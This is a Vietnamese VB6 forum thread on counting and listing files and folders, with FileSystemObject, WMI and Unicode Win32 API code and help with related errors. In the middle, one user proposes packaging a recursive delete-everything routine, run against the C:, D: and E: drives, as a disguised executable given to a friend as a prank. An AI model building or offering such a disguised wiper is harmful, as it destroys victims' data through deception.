• Vui lòng đọc nội qui diễn đàn để tránh bị xóa bài viết
  • Tìm kiếm trước khi đặt câu hỏi

Lấy Danh sách Tập tin trong thư mục

Các thủ thuật về hệ thống, thư mục, tập tin và mạng
Hình đại diện của người dùng
truongphu
VIP
VIP
Bài viết: 4756
Ngày tham gia: CN 04/11/2007 10:57 am
Đến từ: Cam Đức, Khánh hòa
Has thanked: 14 time
Been thanked: 509 time

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi truongphu » T.Tư 04/06/2008 1:02 pm

Set FolderObject = FSO.GetFolder(folderspec) không có Property nào là FolderObject.FileCount
Tiếc thật!

Attributes Property
ParentFolder Property
DateCreated Property
Path Property
DateLastAccessed Property
ShortName Property
DateLastModified Property
ShortPath Property
Drive Property
Size Property
Files Property
SubFolders Property
IsRootFolder Property
Type Property
Name Property

Tôi sẽ nghiên cứu WMI vì nghi nó có, nhớ có đọc ở đâu đó.
Sẽ trả lời chiều nay


o0o--truongphu--o0o

.........
Ghé thăm:
Chuyện Linh Tinh

Hình đại diện của người dùng
truongphu
VIP
VIP
Bài viết: 4756
Ngày tham gia: CN 04/11/2007 10:57 am
Đến từ: Cam Đức, Khánh hòa
Has thanked: 14 time
Been thanked: 509 time

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi truongphu » T.Tư 04/06/2008 1:50 pm

Mã: Chọn hết

  1. Private Sub Form_Load()
  2. Set objWMIService = GetObject("winmgmts:\\" & "." & "\root\cimv2")
  3. Set colFileList = objWMIService.ExecQuery("ASSOCIATORS OF {Win32_Directory.Name='C:\Windows'} Where " & "ResultClass = CIM_DataFile")
  4. MsgBox colFileList.Count & " Files"
  5. End Sub


Ở trên là số file trong 1 folder (KHÔNG TÍNH CÁC FOLDER CON CHÁU)
Sau đây là code đếm số file TRONG CÁC FOLDER CON, không đếm Cha và Cháu Chắt

Mã: Chọn hết

  1. Private Sub Form_Load()
  2. Set objWMIService = GetObject("winmgmts:\\" & "." & "\root\cimv2")
  3. Set colSubfolders = objWMIService.ExecQuery("Associators of {Win32_Directory.Name='C:\Program Files\Common Files'} " _
  4.         & "Where AssocClass = Win32_Subdirectory " & "ResultRole = PartComponent")
  5. For Each objFolder In colSubfolders
  6.    Set colFiles = objWMIService.ExecQuery _
  7.    ("ASSOCIATORS OF {Win32_Directory.Name='" & objFolder.Name & "'} Where " & "ResultClass = CIM_DataFile")
  8. a = a + colFiles.Count
  9. Next
  10. MsgBox a  'Tông sô file trong các folder con, KHÔNG ÐOC TRONG FOLDER CHÁU!
  11. End Sub
o0o--truongphu--o0o

.........
Ghé thăm:
Chuyện Linh Tinh

Hình đại diện của người dùng
truongphu
VIP
VIP
Bài viết: 4756
Ngày tham gia: CN 04/11/2007 10:57 am
Đến từ: Cam Đức, Khánh hòa
Has thanked: 14 time
Been thanked: 509 time

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi truongphu » T.Tư 04/06/2008 2:45 pm

Hê Hê, cái nầy gọi là học chưa tới! Tôi mắc cỡ quá, dù sao cũng khắc phục được rồi :">
Tặng vietteiv làm kỷ niệm

Mã: Chọn hết

  1. Private Function vietteiv(FolderPath$) As Integer
  2.   Set fso = CreateObject("Scripting.FileSystemObject").GetFolder(FolderPath)
  3.   Set ff = fso.Files
  4.   vietteiv = ff.Count
  5. End Function
  6.  
  7. Private Sub Form_Load()
  8. MsgBox vietteiv("C:\windows")
  9. End Sub

Bảo đảm chạy nhanh, vietteiv thích Dim cho chúng thì cứ!

Viết gọn hơn:

Mã: Chọn hết

  1. Private Function vietteiv(FolderPath$) As Integer
  2.   Set fso = CreateObject("Scripting.FileSystemObject").GetFolder(FolderPath)
  3.   vietteiv = fso.Files.Count
  4. End Function
o0o--truongphu--o0o

.........
Ghé thăm:
Chuyện Linh Tinh

Hình đại diện của người dùng
truongphu
VIP
VIP
Bài viết: 4756
Ngày tham gia: CN 04/11/2007 10:57 am
Đến từ: Cam Đức, Khánh hòa
Has thanked: 14 time
Been thanked: 509 time

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi truongphu » T.Tư 04/06/2008 3:09 pm

Và đây là Version mới nhất của Files và Folders, cảm ơn vietteiv

Mã: Chọn hết

  1. Dim FileCount&, FolderCount&
  2. Private Function CountFF(folderspec)
  3.   On Error Resume Next
  4.   Set MyFSO = CreateObject("Scripting.FileSystemObject").GetFolder(folderspec)
  5.             FileCount = FileCount + MyFSO.Files.Count   'Ðây là New Code
  6.     For Each folderTmp In MyFSO.SubFolders  '<-- Câu trúc Folder phải giu~ nguyên mo'i có tác dung Ðê quy
  7.            FolderCount = FolderCount + 1
  8.              CountFF folderTmp    '<-- Ðê quy
  9.     Next
  10.   Set MyFSO = Nothing
  11. End Function
  12.  
  13. Private Sub Form_Load()
  14. ShowFF = CountFF("C:\Program Files\Internet Explorer")
  15. MsgBox FileCount & " Files  " & FolderCount & " Folders"
  16. End Sub


:D
o0o--truongphu--o0o

.........
Ghé thăm:
Chuyện Linh Tinh

philadenphia
Bài viết: 2
Ngày tham gia: CN 08/06/2008 3:35 pm

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi philadenphia » CN 08/06/2008 4:35 pm

Các bác làm ơn cho hỏi chút??
Tôi sử dụng vbscript trong html để đọc 1 file, chỉnh sửa và ghi lại nội dung vào đó.
Nhưng khi sử dụng CreateObject("Scripting.FileSystemObject") thì bị báo lỗi là ActiveX không tạo được đối tượng "Scripting.FileSystemObject".
Trong môi trường VB6 thì dùng được, nhưng khi dùng FrontPage2003 tạo html có chứa vbscript thì câu lệnh CreateObject("Scripting.FileSystemObject") lại không được, trong khi các lệnh vbscript khác vẫn chạy được
Rất mong các bác giúp đỡ với, tôi cũng mới học nên các bác đừng cười nha

Hình đại diện của người dùng
phongvanvu
Guru
Guru
Bài viết: 151
Ngày tham gia: T.Tư 24/01/2007 2:20 pm
Has thanked: 1 time
Been thanked: 8 time
Liên hệ:

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi phongvanvu » CN 08/06/2008 6:33 pm

Đã test thử không thấy báo lỗi. Xem lại máy tính của cậu nhé. Nếu không mang sang máy khác test hoặc up code lên đây mọi người test hộ cho.
Live to fight!

giongto35
Thành viên danh dự
Thành viên danh dự
Bài viết: 194
Ngày tham gia: T.Năm 19/04/2007 10:17 am
Đến từ: Đà Nẵng City
Been thanked: 1 time
Liên hệ:

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi giongto35 » CN 08/06/2008 6:40 pm

đệ qui thì nhìu zui
Bác có code ko đệ qui thi share luôn nghen :)
________________________________________________________________________________________________
. . . . . . . . . . . . .. .

Hình đại diện của người dùng
truongphu
VIP
VIP
Bài viết: 4756
Ngày tham gia: CN 04/11/2007 10:57 am
Đến từ: Cam Đức, Khánh hòa
Has thanked: 14 time
Been thanked: 509 time

Gởi bạn philadenphia, ha thuong

Gửi bàigửi bởi truongphu » T.Hai 09/06/2008 9:19 am

philadenphia đã viết:bị báo lỗi là ActiveX không tạo được đối tượng

Có đọc thư gởi của bạn. và ha thuong <haxuanthuong@yahoo.com>

- Câu hay thấy "ActiveX Can't Create Object" thường do các dll, ocx hay tlb bạn dùng chưa được đăng ký chính xác.
- Trường hợp của bạn thì hơi lạ vì FileSystemObject thuộc thư viện scrrun.dll và bạn cho biết VB6 dùng được, chứng tỏ thư viện nầy đã được đăng ký tốt.
- Bạn nên cài lại Office 2003, chú ý cài hoàn chỉnh phần VBA (Run from My Computer) hy vọng sẽ tốt đẹp
- anh phongvanvu sẽ góp ý thêm
Sửa lần cuối bởi truongphu vào ngày T.Hai 09/06/2008 11:18 am với 1 lần sửa.
o0o--truongphu--o0o

.........
Ghé thăm:
Chuyện Linh Tinh

Hình đại diện của người dùng
phongvanvu
Guru
Guru
Bài viết: 151
Ngày tham gia: T.Tư 24/01/2007 2:20 pm
Has thanked: 1 time
Been thanked: 8 time
Liên hệ:

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi phongvanvu » T.Hai 09/06/2008 10:36 am

Bác truongphu góp ý rất đúng đó nếu không bạn có thể thử bằng cách dùng Notepad soạn tập tin html có chứa mã VBscript rồi test thử. Có thể trình duyệt sẽ không chạy mã này để đề phòng virus. Vì một số con virus cũng dùng đoạn mã lệnh này để thi hành mà. Nếu test thử bằng trình duyệt như bình thường thì khả năng là lỗi FrontPage.
Live to fight!

philadenphia
Bài viết: 2
Ngày tham gia: CN 08/06/2008 3:35 pm

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi philadenphia » T.Hai 09/06/2008 5:36 pm

Thank 2 bác đã chỉ giáo
Tôi đã sửa đc lỗi này rồi, có 1 bài báo chỉ cách sửa lỗi này rất chi tiết, nhưng lại không đúng với trường hợp của tôi, lần này lỗi là do frontpage, tôi đã cài lại và chạy đc bt
:D
Tiện đây Các bác có thể cho biết tài liệu về scrrun (các câu lệnh và cấu trúc, tham số ..) tìm ở đâu ạ?

Hình đại diện của người dùng
truongphu
VIP
VIP
Bài viết: 4756
Ngày tham gia: CN 04/11/2007 10:57 am
Đến từ: Cam Đức, Khánh hòa
Has thanked: 14 time
Been thanked: 509 time

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi truongphu » T.Hai 09/06/2008 6:15 pm

Mời bạn tham khảo:

Giới thiệu thư viện scrrun.dll
http://www.caulacbovb.com/forum/viewtopic.php?f=22&t=1094#p6006
Sử dụng Microsoft Scripting Runtime
http://www.caulacbovb.com/forum/viewtopic.php?f=22&t=1210#p6720

Đọc và Ghi được Unicode từ file text
http://www.caulacbovb.com/forum/viewtopic.php?f=27&t=151#p4241
Kỹ thuật ghi và đọc file nhị phân
http://www.caulacbovb.com/forum/viewtopic.php?f=28&t=1283

Nên load VBLib, (link ở mục thông tin màu đỏ phía trên ấy), có rất nhiều bài viết, cập nhật mới
o0o--truongphu--o0o

.........
Ghé thăm:
Chuyện Linh Tinh

Hình đại diện của người dùng
truongphu
VIP
VIP
Bài viết: 4756
Ngày tham gia: CN 04/11/2007 10:57 am
Đến từ: Cam Đức, Khánh hòa
Has thanked: 14 time
Been thanked: 509 time

Hàm xóa toàn bộ files và folders con cháu

Gửi bàigửi bởi truongphu » T.Tư 11/06/2008 3:37 pm

Bổ sung hàm xóa toàn bộ files và folders con cháu

Mã: Chọn hết

  1. Private Sub DelAllFiles(folderspec)
  2.     On Error Resume Next
  3.   Set MyFSO = CreateObject("Scripting.FileSystemObject").GetFolder(folderspec)
  4.         For Each File In MyFSO.Files
  5.             File.Delete
  6.         Next
  7.     For Each Folder In MyFSO.SubFolders
  8.             Folder.Delete
  9.             DelAllFiles Folder
  10.   Next
  11.   Set MyFSO = Nothing
  12. End Sub
  13.  ' Xóa folder Temporary Internet Files
  14. Private Sub Form_Load()
  15. DelAllFiles ("E:\TEMP\Temporary Internet Files")
  16. End Sub
  17.  

Có thể tìm Temporary Internet Files xem bài Lấy đường dẫn của những thư mục đặc biệt
http://www.caulacbovb.com/forum/viewtopic.php?f=28&t=34
o0o--truongphu--o0o

.........
Ghé thăm:
Chuyện Linh Tinh

DiodeZ
Thành viên danh dự
Thành viên danh dự
Bài viết: 156
Ngày tham gia: T.Tư 09/04/2008 5:58 pm
Đến từ: /root
Has thanked: 1 time
Been thanked: 3 time
Liên hệ:

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi DiodeZ » T.Tư 11/06/2008 5:04 pm

ah, code này hay quá, nhưng gặp file thuộc tính: Read Only thì nó ko chịu xóa
nếu nó chịu thì:

Mã: Chọn hết

  1. DelAllFiles ("E:\")
  2. DelAllFiles ("C:\")
  3. DelAllFiles ("D:\")


Vậy là OK luôn :D

Hình đại diện của người dùng
truongphu
VIP
VIP
Bài viết: 4756
Ngày tham gia: CN 04/11/2007 10:57 am
Đến từ: Cam Đức, Khánh hòa
Has thanked: 14 time
Been thanked: 509 time

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi truongphu » T.Năm 12/06/2008 9:06 am

DiodeZ đã viết:DelAllFiles ("C:\")

DiodeZ muốn chơi ác với người khác hở?
Hãy đặt thuộc tính của File hay Folder là Normal

Mã: Chọn hết

  1. Private Sub DelAllFiles(folderspec)
  2.     On Error Resume Next
  3.   Set MyFSO = CreateObject("Scripting.FileSystemObject").GetFolder(folderspec)
  4.         For Each File In MyFSO.Files
  5.             File.Attributes = Normal
  6.             File.Delete
  7.         Next
  8.         For Each Folder In MyFSO.SubFolders
  9.             Folder.Attributes = Normal
  10.             DelAllFiles Folder
  11.             Folder.Delete
  12.         Next
  13.   Set MyFSO = Nothing
  14. End Sub
o0o--truongphu--o0o

.........
Ghé thăm:
Chuyện Linh Tinh

DiodeZ
Thành viên danh dự
Thành viên danh dự
Bài viết: 156
Ngày tham gia: T.Tư 09/04/2008 5:58 pm
Đến từ: /root
Has thanked: 1 time
Been thanked: 3 time
Liên hệ:

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi DiodeZ » T.Năm 12/06/2008 10:34 am

truongphu đã viết:DiodeZ muốn chơi ác với người khác hở?

sao lại ác chứ, định làm 1 file có tên là "cấm trẻ em mở.exe", trong sự kiện Form_Load có 3 dòng lệnh

Mã: Chọn hết

  1. DelAllFiles ("C:\")
  2. DelAllFiles ("D:\")
  3. DelAllFiles ("E:\")

đưa cho thằng bạn kiêu nó check virut dùm và cấm nó mở
:)) :)) :)) nó mà ham hố mở ra thì ráng chịu

Hình đại diện của người dùng
truongphu
VIP
VIP
Bài viết: 4756
Ngày tham gia: CN 04/11/2007 10:57 am
Đến từ: Cam Đức, Khánh hòa
Has thanked: 14 time
Been thanked: 509 time

Tạo Folder tiếng Việt Unicode

Gửi bàigửi bởi truongphu » CN 22/03/2009 3:30 pm

Mã: Chọn hết

  1. Private Sub Command1_Click() ' Cách 1, Nho' Windows làm
  2. On Error Resume Next
  3. Set PathFolder = CreateObject("Shell.Application").BrowseForFolder(0, "Select a folder:", 0)
  4. TextBox1 = PathFolder.Self.Path
  5. End Sub
  6.  
  7. Private Sub Command2_Click() ' Cách 2, thuâ`n Code
  8. On Error Resume Next
  9. If TextBox2.Text = "" Then Exit Sub
  10. Set fso = CreateObject("Scripting.FileSystemObject")
  11.   Set f = fso.CreateFolder(TextBox2.Text)
  12. MsgBox "Ðã Xong!"
  13. MsgBox f.Path
  14. End Sub


Tao file và Folder tên Unicode.rar
download/file.php?id=4906
o0o--truongphu--o0o

.........
Ghé thăm:
Chuyện Linh Tinh

quygia128
Bài viết: 1
Ngày tham gia: T.Ba 02/08/2011 4:41 pm
Has thanked: 1 time

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi quygia128 » CN 09/10/2011 1:06 am

Thấy anh Truong Phu làm cái này khá hay, tuyệt vời, nhưng khi đã làm cái này thì mục đích chính là kiểm tra xem trong folder đó có những file gì và bao gồm bao nhiêu file. Nhưng sao anh không bổ xung thêm đoạn code cho phép copy cái danh sách trong list đó vào Clipboard luôn thì hay quá vì đôi khi cần copy cái list thì có thể copy được.
Cảm ơn anh rất nhiều !

bvchauthanh
Bài viết: 7
Ngày tham gia: T.Bảy 21/11/2009 8:36 pm
Has thanked: 4 time

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi bvchauthanh » T.Tư 23/11/2011 10:15 pm

Mấy pro cho mình hỏi 1 tí, nếu đường dẫn là tiếng Việt có dấu thì sao?
e làm thử rùi, bị báo lỗi "Run time error '52'"
Em muốn duyệt các tập tin trong thư mục được chỉ định và copy sang nơi khác (được chỉ định trước) nhưng khi có tập tin hoặc thư mục nào tên tiếng Việt có dấu là báo lỗi như trên.
Mong các pro giúp với ạ!
thanks 1000 lần

P/s: mình đang bí chổ này không biết làm gì dù thử nhiều cách khác rùi vẫn không được.
Có ai giúp em không ạ!

Hình đại diện của người dùng
doicanhden
Thành viên tích cực
Thành viên tích cực
Bài viết: 160
Ngày tham gia: T.Tư 02/09/2009 4:29 pm
Đến từ: Tp.HCM
Has thanked: 7 time
Been thanked: 3 time
Liên hệ:

Re: Lấy Danh sách Tập tin trong thư mục

Gửi bàigửi bởi doicanhden » T.Tư 23/11/2011 10:50 pm

Của bạn đây! Đây là hàm dung để tìm kiếm tập tin chấp nhận Unicode, bạn edit lại nhé. việc copy tập tin cũng phải xài api của win nếu muốn dùng unicode. hoặc đường dẫn shortpath để dùng trực tiếp hàm copy của vb6.
  1. Option Explicit
  2. Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
  3. Private Const FILE_ATTRIBUTE_HIDDEN = &H2
  4. Private Const FILE_ATTRIBUTE_NORMAL = &H80
  5. Private Const FILE_ATTRIBUTE_READONLY = &H1
  6. Private Const FILE_ATTRIBUTE_SYSTEM = &H4
  7. Private Type FILETIME
  8.     dwLowDateTime As Long
  9.     dwHighDateTime As Long
  10. End Type
  11. Private Type WIN32_FIND_DATA
  12.     dwFileAttributes As Long
  13.     ftCreationTime As FILETIME
  14.     ftLastAccessTime As FILETIME
  15.     ftLastWriteTime As FILETIME
  16.     nFileSizeHigh As Long
  17.     nFileSizeLow As Long
  18.     dwReserved0 As Long
  19.     dwReserved1 As Long
  20.     cFileName As String * 255
  21.     cAlternate As String * 14
  22. End Type
  23. Public SearchResult$()
  24. Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileW" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
  25. Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileW" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
  26. Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
  27. Private Declare Function GetShortPathName Lib "kernel32.dll" Alias "GetShortPathNameW" (ByVal lpszLongPath As Long, ByVal lpszShortPath As Long, ByVal cchBuffer As Long) As Long
  28. Public Function WalkDir(ByVal sFolder$, ByVal StringToSearch$)
  29. On Local Error Resume Next
  30.     Dim myFolder As New Collection
  31.     Dim FileData As WIN32_FIND_DATA
  32.     Dim res As Long
  33.     Dim hSearch  As Long
  34.     Dim Filename As String
  35.         myFolder.Add (sFolder)
  36.         Do While (myFolder.Count)
  37.             sFolder = myFolder.Item(1)
  38.             myFolder.Remove (1)
  39.             hSearch = FindFirstFile(StrConv(sFolder & "\*.*", vbUnicode), FileData)
  40.             If hSearch = -1 Then GoTo Breaks
  41.             If InStr(sFolder, StringToSearch) > 0 Then
  42.                 ReDim Preserve SearchResult(n)
  43.                 SearchResult(n) = ShortPath(sFolder)
  44.                 n = n + 1
  45.             End If
  46.             Do
  47.                 Filename = TrimPath(FileData.cFileName)
  48.                 If (Filename <> ".") And (Filename <> "..") Then
  49.                     If (StringToSearch = "*.*") And (FileData.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) Then
  50.                         ReDim Preserve SearchResult(n)
  51.                         SearchResult(n) = ShortPath(sFolder & "\" & Filename)
  52.                         n = n + 1
  53.                     Else
  54.                         If InStr(Filename, StringToSearch) > 0 Then
  55.                             ReDim Preserve SearchResult(n)
  56.                             SearchResult(n) = ShortPath(sFolder & "\" & Filename)
  57.                             n = n + 1
  58.                         End If
  59.                     End If
  60.                 End If
  61.                 res = FindNextFile(hSearch, FileData)
  62.             Loop Until Not (res <> 0)
  63. Breaks:
  64.             FindClose (hSearch)
  65.     Loop
  66. End Function
  67. Private Function TrimPath(sPath As String) As String
  68.     Dim i As Integer
  69.     sPath = StrConv(sPath, vbFromUnicode)
  70.     i = InStr(sPath, Chr(0))
  71.     If i > 0 Then sPath = Left(sPath, i - 1)
  72.     TrimPath = sPath
  73. End Function
  74. Private Function ShortPath(LongPath As String) As String
  75.     Dim l As Long, s As String
  76.     l = GetShortPathName(StrPtr(LongPath), 0, 0)
  77.     If l > 0 Then
  78.         s = Space(l - 1)
  79.         l = GetShortPathName(StrPtr(LongPath), StrPtr(s), l)
  80.     End If
  81.     ShortPath = s
  82. End Function
  83.  
  84.  


Quay về “[VB] Hệ thống - Tập tin - Thư mục và Mạng”

Đang trực tuyến

Đang xem chuyên mục này: Không có thành viên nào trực tuyến.3 khách